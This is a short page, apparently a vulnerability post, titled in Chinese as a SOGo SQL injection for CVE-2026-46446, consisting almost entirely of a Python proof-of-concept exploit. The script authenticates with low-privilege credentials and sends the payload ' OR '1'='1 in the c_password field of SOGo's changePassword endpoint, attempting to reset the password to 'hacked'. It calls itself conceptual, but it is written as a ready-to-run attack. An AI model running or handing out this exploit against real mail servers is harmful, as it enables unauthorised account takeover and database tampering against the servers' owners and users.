CVE-2026-46446 SOGo SQL注入漏洞

import requests # Target configuration target_url = "http://target-sogo-server/SOGo/connect/changePassword" session = requests.Session() # Attacker credentials (Low privilege required) login_payload = { "userName": "low_priv_user", "password": "password123", "domain": "sogo.local" } # 1. Authenticate to get a session session.post("http://target-sogo-server/SOGo/connect", data=login_payload) # 2. Exploit SQL Injection in changePasswordForLogin # The vulnerability occurs in the 'c_password' parameter when cleartext passwords are used. # Payload attempts to inject a boolean-based SQL statement. exploit_payload = { "c_password": "' OR '1'='1", # Injection payload "newPassword": "hacked", "confirmPassword": "hacked" } response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Payload sent successfully. Check for database errors or behavioral changes.") else: print("[-] Request failed.") # Note: This is a conceptual PoC demonstrating the injection point based on the CVE description.